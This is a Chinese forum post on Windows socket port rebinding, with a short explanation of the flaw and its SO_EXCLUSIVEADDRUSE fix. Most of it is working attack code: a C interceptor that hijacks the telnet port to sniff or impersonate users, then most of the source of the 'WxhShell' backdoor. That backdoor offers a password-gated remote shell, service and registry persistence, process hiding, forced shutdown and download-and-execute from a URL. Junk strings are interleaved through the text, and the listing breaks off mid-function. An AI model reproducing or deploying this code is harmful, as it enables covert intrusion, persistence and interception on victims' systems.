社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 9641阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: IQ|~d08}  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ;CC[>  
|GsLcUv6  
  saddr.sin_family = AF_INET; }{ P}P}  
Rw7Q[I5z%  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); M"J $c42  
bySw#h_  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 8Ej2JMc  
sI.Ezuw  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Q'rG' |  
)h/fr|  
  这意味着什么?意味着可以进行如下的攻击: rN*4Y  
"44X'G8N  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 OU[Sm7B  
\t(/I=E8/  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) xE}q(.]  
R{WG>c  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 t & ucq Y  
B.{yf4a#L  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ](O!6_'d  
D4S>Pkv  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 %++q+pa  
QM$?}>:  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 @U9ov >E  
Rk'pymap  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Xh{EItk~oO  
y@(U 6ZOyx  
  #include +yYz;, \  
  #include ?2i``-|Wa  
  #include s5[ Cr"q7B  
  #include    AKHi$Bk  
  DWORD WINAPI ClientThread(LPVOID lpParam);   7[K$os5al  
  int main() %8v?dB;>x`  
  { Y/4B*>kl  
  WORD wVersionRequested; yNqrL?i  
  DWORD ret; Nc7YMxk'H  
  WSADATA wsaData; .IgCC_C9  
  BOOL val; -PX {W)Aw  
  SOCKADDR_IN saddr; :JOF!Q  
  SOCKADDR_IN scaddr; wvgX5P>  
  int err; _qGkTiP  
  SOCKET s; LsLsSV  
  SOCKET sc; ;Z8K3p  
  int caddsize; o|UZdGu  
  HANDLE mt; Bkcs4 x  
  DWORD tid;   8 /\rmf\  
  wVersionRequested = MAKEWORD( 2, 2 ); 3cs'Oz<w  
  err = WSAStartup( wVersionRequested, &wsaData ); *l5/q\D  
  if ( err != 0 ) { rSa 3u*xB  
  printf("error!WSAStartup failed!\n"); \ET7  
  return -1; OW6i2>Or  
  } Bt.WRRpAB  
  saddr.sin_family = AF_INET; $V@IRBm  
   DQE.;0ld  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 2AdV=n6Z  
gXF.e.uU  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); P ^D\znvc  
  saddr.sin_port = htons(23); \oaO7w,:"  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) yDHH05Yl  
  { }3QEclZr  
  printf("error!socket failed!\n"); yYW>)  
  return -1; w 5,-+&;  
  } U/TF,JUI  
  val = TRUE; yJ?4B?p(  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 h>fY'r)DAx  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) m. XLpD  
  { Xp%JPI {  
  printf("error!setsockopt failed!\n"); eE7+fMP{  
  return -1; j]jwQRe  
  } TT>;!nb  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; j{nL33T%  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 eO*FoN  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 cm-! 6'`  
JH2d+8O:qK  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) -l^u1z  
  { k3u3X~u  
  ret=GetLastError(); /9i2@#J}W1  
  printf("error!bind failed!\n"); Id9hC<8$dq  
  return -1; teET nz_L  
  } N 0`)WLW  
  listen(s,2); 7=}`"7i~  
  while(1) Y68oBUd_E  
  { sv =6?uYW  
  caddsize = sizeof(scaddr); [ibnI2I]`  
  //接受连接请求 Q xKC5`1  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); -cOLg rmp  
  if(sc!=INVALID_SOCKET) A5z5e# ,u  
  { {&m^*YN/  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 3Ju<jXoo!  
  if(mt==NULL) Z}WMpp^r  
  { t}]=5)9<  
  printf("Thread Creat Failed!\n"); '(~+ \  
  break; EQMn'>  
  } "*<9)vQ6|  
  } s<aJ pi{n4  
  CloseHandle(mt); $(G.P!/  
  } ss.wX~I  
  closesocket(s); XB^o>/|@S  
  WSACleanup(); IL&Mf9m  
  return 0; *ewE{$UpK  
  }   yX/ 9jk  
  DWORD WINAPI ClientThread(LPVOID lpParam) jsjH.O  
  { L_Ff*   
  SOCKET ss = (SOCKET)lpParam; bF<FX_}!s!  
  SOCKET sc; 8|HuxE  
  unsigned char buf[4096]; r. :LZEr  
  SOCKADDR_IN saddr; +%oXPG?  
  long num; AYfW}V"  
  DWORD val; 7<=xc'*8t  
  DWORD ret; Il,2^54q  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Qv|A^%Ub!  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   7$Jb"s  
  saddr.sin_family = AF_INET; +CaPF  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 0M>+.}e+  
  saddr.sin_port = htons(23); Ic P]EgB  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) IyOb0WiEj  
  { EH=[!iW;  
  printf("error!socket failed!\n"); X6kCYTJYF  
  return -1; H)ud?vB6  
  } MQ7N8@!t  
  val = 100; u%}zLwMH  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) srLXwoN[  
  { GU([A@;  
  ret = GetLastError(); zT 9"B  
  return -1; 7'LKyy !"3  
  } JUHmIFjZ  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) `8/K+ e`  
  { //xK v{3fI  
  ret = GetLastError(); Y({&} \o  
  return -1; j KGfm9|zj  
  } (p>?0h9[  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ]ri5mnB  
  { )[oegfnn-  
  printf("error!socket connect failed!\n"); Yw7txp`i  
  closesocket(sc); '1'De^%6W  
  closesocket(ss); Y23- Im  
  return -1; NO+.n)etGb  
  } AY<(`J{  
  while(1) H Rn Q*  
  { H`d595<=i;  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 @y ] ek/  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 VKqIFM1b  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 #ueWU  
  num = recv(ss,buf,4096,0); Tr*3:J }  
  if(num>0) r$T\@oTL  
  send(sc,buf,num,0); g(& huS  
  else if(num==0) '"qTmo!  
  break; Lyo!}T  
  num = recv(sc,buf,4096,0); Vsw] v  
  if(num>0) `\_>P@qz  
  send(ss,buf,num,0); M#Kke9%2  
  else if(num==0) Y7vUdCj  
  break; l1HMH?0|  
  } |qm_ESzl  
  closesocket(ss); =HapCmrx8  
  closesocket(sc); 3CcCcZ9I  
  return 0 ; 41Ga-0p  
  } w`KqB(36  
2@~.FBby7@  
!LJEo>D  
========================================================== MkLXMwuQ&  
kD;1+lNz  
下边附上一个代码,,WXhSHELL wIQ~a  
Cw$0XyO  
========================================================== n/9.;9b$I  
`xv2,Z9<  
#include "stdafx.h" UI2TW)^2  
/o L& <e  
#include <stdio.h> MD|T4PPz,}  
#include <string.h> Z uFk}R"x  
#include <windows.h> ?TWve)U  
#include <winsock2.h> 7qsu0 .[d  
#include <winsvc.h> e%[0 NVo  
#include <urlmon.h> w.X MyHj  
(w[#h9j  
#pragma comment (lib, "Ws2_32.lib") 7M8oI.?C|  
#pragma comment (lib, "urlmon.lib") yzyBr1s  
RD6n1Wb(@  
#define MAX_USER   100 // 最大客户端连接数 N> 7sG(!'"  
#define BUF_SOCK   200 // sock buffer W>#[a %R  
#define KEY_BUFF   255 // 输入 buffer ahICx{hK  
NVnId p  
#define REBOOT     0   // 重启 L!;"73,&(8  
#define SHUTDOWN   1   // 关机 r+:]lO  
c~``)N  
#define DEF_PORT   5000 // 监听端口 f4 k  
e'I/}J  
#define REG_LEN     16   // 注册表键长度 [J!jp& o  
#define SVC_LEN     80   // NT服务名长度 ~F"<Nq  
j)nL!":O  
// 从dll定义API 6C'W  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *qa.hqas  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); S4 j5-  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Jn7T5$pJ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); / <C{$Gu  
IN8G4\r  
// wxhshell配置信息 6;:z?Q  
struct WSCFG { \1Xr4H u  
  int ws_port;         // 监听端口 pq"Z,9,F%  
  char ws_passstr[REG_LEN]; // 口令 zEVQ[y6BcM  
  int ws_autoins;       // 安装标记, 1=yes 0=no OI^??joQ  
  char ws_regname[REG_LEN]; // 注册表键名 ^ YOC HXg  
  char ws_svcname[REG_LEN]; // 服务名 !),eEy  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 v*";A  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ;NMv>1fI  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 y`,;m#frT  
int ws_downexe;       // 下载执行标记, 1=yes 0=no jFDVd;#CS  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" I=[Ir8} ;  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 9| g]M:{  
'GI| t  
}; l*>,K2F  
s5/u>d  
// default Wxhshell configuration *"nN To  
struct WSCFG wscfg={DEF_PORT, '\O[j*h^.  
    "xuhuanlingzhe", lfw|Q@  
    1, dzQs7D}  
    "Wxhshell", x{O) n  
    "Wxhshell", K/iFB  
            "WxhShell Service", PZ >(cvX&  
    "Wrsky Windows CmdShell Service", \wV^uS   
    "Please Input Your Password: ", J Bgq2  
  1, u{-@,-{  
  "http://www.wrsky.com/wxhshell.exe", q4#$ca[_ak  
  "Wxhshell.exe" ,&~-Sq) ~  
    }; Ij>G7Q*d  
A` ~R\j  
// 消息定义模块 $l $p|  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $d-$dM?R5  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ^sKdN-{  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; b/{$#[oP`  
char *msg_ws_ext="\n\rExit."; 8NkyT_\  
char *msg_ws_end="\n\rQuit."; dl.gCiI  
char *msg_ws_boot="\n\rReboot..."; 0u;a*#V@  
char *msg_ws_poff="\n\rShutdown..."; ds9U9t  
char *msg_ws_down="\n\rSave to "; S{m:Iij[;  
/3#h]5Y"T  
char *msg_ws_err="\n\rErr!"; 0GlQWRa  
char *msg_ws_ok="\n\rOK!"; sWmqx$  
aUF{57,<  
char ExeFile[MAX_PATH]; eQz.N<f"  
int nUser = 0; c/7}5#Rs  
HANDLE handles[MAX_USER]; gR+P !Eow  
int OsIsNt; Mkh/+f4  
4_D *xW  
SERVICE_STATUS       serviceStatus; ) &DsRA7v  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; {,!!jeOO  
0bpGPG's&  
// 函数声明 #<~oR5ddlb  
int Install(void); 9u)p9)^-.v  
int Uninstall(void); `Ez8!d{MD8  
int DownloadFile(char *sURL, SOCKET wsh); D<hX%VJ%M  
int Boot(int flag); TMGYNb%<bX  
void HideProc(void); ihJ!]#Fbm  
int GetOsVer(void); \gu8 ~zK  
int Wxhshell(SOCKET wsl); 2n+ud ?|l  
void TalkWithClient(void *cs); w&@zJ[  
int CmdShell(SOCKET sock); xM=ydRu  
int StartFromService(void); E-%$1=;  
int StartWxhshell(LPSTR lpCmdLine); G4U0|^(h  
2Wg:eh  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); <BIQc,)2}  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); sib/~j  
{qGXv@ I6  
// 数据结构和表定义 rd>>=~vx=/  
SERVICE_TABLE_ENTRY DispatchTable[] = =0L%<@yA  
{ |$;4/cKfy  
{wscfg.ws_svcname, NTServiceMain}, %"cOX  
{NULL, NULL} k')H5h+Q=  
}; [,MaAB  
L8q#_k  
// 自我安装 `ZZ3!$czR  
int Install(void) ,SPgop'  
{ $EHF f$M  
  char svExeFile[MAX_PATH]; ub!l Hl  
  HKEY key; "n{';Q)  
  strcpy(svExeFile,ExeFile); -Bq]E,Xf)  
x ;~;Ah.p  
// 如果是win9x系统,修改注册表设为自启动 3dz{" hV  
if(!OsIsNt) { rb}fP #j  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { H s$HeAp;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); n*ROlCxV  
  RegCloseKey(key); HE{UgU:tY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,na}' A@a`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); yN)(MmX'1  
  RegCloseKey(key); 2}7_Y6RS*  
  return 0; eIy:5/s  
    } fs yVu|G  
  } amq,^  
} <& 3[|Ca  
else { [ #ih o(/  
,cxe"U  
// 如果是NT以上系统,安装为系统服务 giH#t< )W  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Zn0a)VH%  
if (schSCManager!=0) r;)31Tg  
{ #eN2{G=4+  
  SC_HANDLE schService = CreateService 33KCO  
  ( (f^/KB=  
  schSCManager, ~3-"1E>Rgy  
  wscfg.ws_svcname, t^Lb}A#$4  
  wscfg.ws_svcdisp, nGwon8&]]  
  SERVICE_ALL_ACCESS, U.V/JbXX  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *P5\T4!+d  
  SERVICE_AUTO_START, O8A(OfX  
  SERVICE_ERROR_NORMAL, tK@7t0  
  svExeFile, V;g) P  
  NULL, s?s ,wdp  
  NULL,  Lagk   
  NULL, 5Ok3y|cEx  
  NULL, ]%I\FefT  
  NULL #?+[|RS|  
  ); PjX V.gz  
  if (schService!=0) N34-z|"q  
  { F Z RnIg  
  CloseServiceHandle(schService); u  Fw1%  
  CloseServiceHandle(schSCManager); E<}sGzMc  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ev0>j4Q  
  strcat(svExeFile,wscfg.ws_svcname); 8ki3>"!A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6;\1bP?  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));  0Gc:+c7{  
  RegCloseKey(key); l.]wBH#RS  
  return 0; ~QlF(@u e  
    } ji>LBbnHdE  
  } pH.&C 5kA  
  CloseServiceHandle(schSCManager); 1_Ks*7vuq  
} 2z" <m2 a  
} si)>:e  
SUIJ{!F/  
return 1; <,0/BMz  
} (J.Z+s$:2  
>&:}L%  
// 自我卸载 L1I1SFG  
int Uninstall(void) D vvi)/<  
{ 7]{t^*  
  HKEY key; ItvcN  
_68vSYr  
if(!OsIsNt) { KQb&7k .  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Y3~z#<  
  RegDeleteValue(key,wscfg.ws_regname); K?[Vz[-Fc  
  RegCloseKey(key); KAD2_@l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h,B4Tg'  
  RegDeleteValue(key,wscfg.ws_regname); 1ig*Xp[  
  RegCloseKey(key);  oJ*,a  
  return 0; ` L 1+j  
  } ! [1aP,  
} R&6@*Nn  
} $M4Z_zle)  
else { rQlQ^W$=?  
+TA~RC d  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 7P(jMalq  
if (schSCManager!=0) N%>h>HJ  
{ q2J |koT  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); C>x)jDb?  
  if (schService!=0) ||*F. p  
  { 2L;=wP2?{  
  if(DeleteService(schService)!=0) { E9>z.vV   
  CloseServiceHandle(schService); Nu?A>Q  
  CloseServiceHandle(schSCManager); %*!6R:gAp  
  return 0; n"aF#HR?0d  
  } AaxQBTB  
  CloseServiceHandle(schService); ub fh4  
  } ^^7@kh mNl  
  CloseServiceHandle(schSCManager); 7S 8X)  
} 0>BI[x@  
} $#+D:W)az  
7g]mrI@  
return 1; 8x)i{>#i  
} "_LqIW1   
HfhI9f_x  
// 从指定url下载文件 =No#/_  
int DownloadFile(char *sURL, SOCKET wsh) ~GX ]K H  
{ oy#(]K3`O  
  HRESULT hr; `Mt|+iT$p  
char seps[]= "/"; B+~ /-3  
char *token; c1i:m'b_5  
char *file; # $k1w@  
char myURL[MAX_PATH]; %i/|}K  
char myFILE[MAX_PATH]; Q:Pp'[ RK  
*yw!Y{e!9  
strcpy(myURL,sURL); -6I*k |%8T  
  token=strtok(myURL,seps); EV Z1Z  
  while(token!=NULL) `pCy:J?d>l  
  { LTzdg >\oJ  
    file=token; 8rS;}Bt  
  token=strtok(NULL,seps); e(a,nZF.  
  } hKN ;tq,  
xR%NiYNQz  
GetCurrentDirectory(MAX_PATH,myFILE); E9I08AODS  
strcat(myFILE, "\\"); rjWtioZEa  
strcat(myFILE, file); r,.j^a  
  send(wsh,myFILE,strlen(myFILE),0); EATVce]T  
send(wsh,"...",3,0); #oa>Z.?_V  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); )\:IRr"  
  if(hr==S_OK) r ~UDK]?V  
return 0;  )sdHJ  
else >KP,67  
return 1; x=xo9wEg  
c%hXj#;  
} 4t }wMOR  
*_YR*e0^nN  
// 系统电源模块 L5zCL0j`  
int Boot(int flag) 0AffD:  
{ <F&XT@  
  HANDLE hToken; o938!jML_  
  TOKEN_PRIVILEGES tkp; \WTKw x  
5NN;Fw+  
  if(OsIsNt) { (!5Pl`:j"  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); \/j,  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); s+fxv(,"c  
    tkp.PrivilegeCount = 1; <yEApWd;  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 7<)  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &xB9;v3  
if(flag==REBOOT) { xrBM`Bj0@  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) hGrX,.zj  
  return 0; R\&z3<-S  
} 6pS}\aD  
else { sCY  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 7bO>[RQB  
  return 0; gI2'[OU  
} yv]|Ce@8A  
  } cMT:Ij];  
  else { MK/8<i<.  
if(flag==REBOOT) { tF-l=ph}`  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) A'~mJO/   
  return 0; 8]vut{  
} 4XVwi<)  
else { 9#hp]0S6  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |y0k}ed  
  return 0; tw<Oy^ i  
} ak_y:O|  
} O%>*=h`P  
s:xJ }Ll  
return 1; 6S n&; ap  
} Z?=o(hkd  
f'5 6IT  
// win9x进程隐藏模块 nt()UC`5  
void HideProc(void) $MQ<QP  
{ /{[<J<(8  
{.e+?V2>_  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); |XG&[TI- "  
  if ( hKernel != NULL ) x`C"Z7t  
  { _6h.<BR  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Hik=(pTu>  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); oLX[!0M^  
    FreeLibrary(hKernel); t>N2K-8Qh  
  } T+B-R\@t  
8LPWT!S  
return; %B#T"=Cx  
} 1QD49)  
Cc{{9Ud  
// 获取操作系统版本 HbB8A#u  
int GetOsVer(void) ]u-bJ  
{ AD`5:G  
  OSVERSIONINFO winfo; Owu?ND  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); VO {z)_  
  GetVersionEx(&winfo); O>nMeU  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)  *BM#fe  
  return 1; acke q#  
  else P`Now7! GW  
  return 0; D4hT Hh  
} U*yOe*>  
| Z7 j s"  
// 客户端句柄模块 *JFkqbf  
int Wxhshell(SOCKET wsl) B-KMlHe  
{ n^|xp;] :  
  SOCKET wsh; JCBX?rM/  
  struct sockaddr_in client; "HqmS  
  DWORD myID; P* &0HbJ  
d*6/1vyjT  
  while(nUser<MAX_USER) uZ3do|um  
{ z3L=K9)  
  int nSize=sizeof(client); =ca[*0^Z7  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); yO@1#  
  if(wsh==INVALID_SOCKET) return 1; m6K7D([f  
0n2H7}Uq  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); }s'=w]m  
if(handles[nUser]==0) C<T6l'S{?  
  closesocket(wsh); LdOme [C1  
else *! :j$n;  
  nUser++; jwLZC  
  } (91ts$jH  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); .nVY" C&  
c*zeO@AAn  
  return 0; 4t%Lo2v!X%  
} I;wxgWOP  
E24}?t^|  
// 关闭 socket x_<#28H!  
void CloseIt(SOCKET wsh) k1yqe rA  
{ IOC$jab@  
closesocket(wsh); `5Z'8^  
nUser--; V?.=_T<  
ExitThread(0); 3!sZA?q  
} $iy!:Did  
y1}2hT0,  
// 客户端请求句柄 +IbV  
void TalkWithClient(void *cs) 4B[pQlg  
{ +eH`mI0f  
n<FUaR>q}  
  SOCKET wsh=(SOCKET)cs; OMo/a%`  
  char pwd[SVC_LEN]; |k]]dP|:'  
  char cmd[KEY_BUFF]; WwWOic2  
char chr[1]; os;9 4yd )  
int i,j; )[ UYCx'  
-W@nc QL}  
  while (nUser < MAX_USER) { K+M\E[1W  
N\.g+ W  
if(wscfg.ws_passstr) { "'Gq4<&y  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F,VWi$Po\N  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \/SOpC  
  //ZeroMemory(pwd,KEY_BUFF); 8;<aco/62  
      i=0; .9z}S=ZK  
  while(i<SVC_LEN) { e2V;6N  
ft@#[Bkx  
  // 设置超时 Y?K?*`Pkc1  
  fd_set FdRead; .+?]"1>]  
  struct timeval TimeOut; 37 ?X@@Z=  
  FD_ZERO(&FdRead); >f^kp8`3{Y  
  FD_SET(wsh,&FdRead); ) Kl@dj  
  TimeOut.tv_sec=8; *w ^!\  
  TimeOut.tv_usec=0; 1/ j >|  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); (gvnIoDl0  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 3"my!}03  
WnOYU9 ;%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wi.E$R ckD  
  pwd=chr[0]; jjEu  
  if(chr[0]==0xd || chr[0]==0xa) { dG~U3\!  
  pwd=0; _PC<Td>nm  
  break; $}S0LZ_H  
  } $K\e Pfk  
  i++; q2`mu4B  
    } Ny`SE\B+/  
3@O/#CP+  
  // 如果是非法用户,关闭 socket ~Hg*vCd ?  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /5epDDP-t5  
} \Jc}Hzug  
T:K}mLSg  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #fx"tx6  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); uuh._H}-  
IS[q'Cv*  
while(1) { ~^'t70 :D  
,+v(?5[6  
  ZeroMemory(cmd,KEY_BUFF); x@O )QaBN!  
lF46W  
      // 自动支持客户端 telnet标准   ^j pQfDe6  
  j=0; iDgc$'%?  
  while(j<KEY_BUFF) { -R];tpddR5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); y!S:d  
  cmd[j]=chr[0]; = 4|"<8'  
  if(chr[0]==0xa || chr[0]==0xd) { !P=L0A`  
  cmd[j]=0; 6q0)/|,@  
  break; H0lW gJmi|  
  } OU]"uV<(  
  j++; b 5K"lPr  
    } g~9rt_OV  
:~s*yznf  
  // 下载文件 /']`}*d  
  if(strstr(cmd,"http://")) { &ns??:\+T  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 9X#]Lg?b  
  if(DownloadFile(cmd,wsh)) [;-;{ *{G  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); L9,GUtK{  
  else V}2[chbl  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Lq6nmjL  
  } ~SA>$  
  else { bh\2&]Di/  
x2b t^!t.  
    switch(cmd[0]) { :]8A;`G}  
  Y37qjV  
  // 帮助 mdmJne.  
  case '?': { U F89gG4  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); `8\" 3S  
    break; t v`c" Pb  
  } z([HGq5  
  // 安装 ,*x/L?.Z!  
  case 'i': { L KZ<\% X  
    if(Install()) %|R]nB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6y?uH; SL  
    else fcohYo5mh  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KNP^k$=)3c  
    break; q/@r#  
    } H#nJWe_9A  
  // 卸载 hQ L@q7tUr  
  case 'r': { +zo\#8*0MF  
    if(Uninstall()) jzi^ OI7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Yyw3+3  
    else `tKs|GQf  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^foCcO  
    break; fv* $=m  
    } 6 Rg>h  
  // 显示 wxhshell 所在路径 1[a#blL6W  
  case 'p': { Ts=TaRwWf  
    char svExeFile[MAX_PATH]; \qG` ts  
    strcpy(svExeFile,"\n\r"); CA$|3m9)NM  
      strcat(svExeFile,ExeFile); X6r<#n|l  
        send(wsh,svExeFile,strlen(svExeFile),0); zY4y]k8D*  
    break; L1@<7?@X  
    } 7}&vEc@w&  
  // 重启 _a`/{M|  
  case 'b': { <{Rz1CMc  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {[{jl G4H  
    if(Boot(REBOOT)) s!F8<:FRJD  
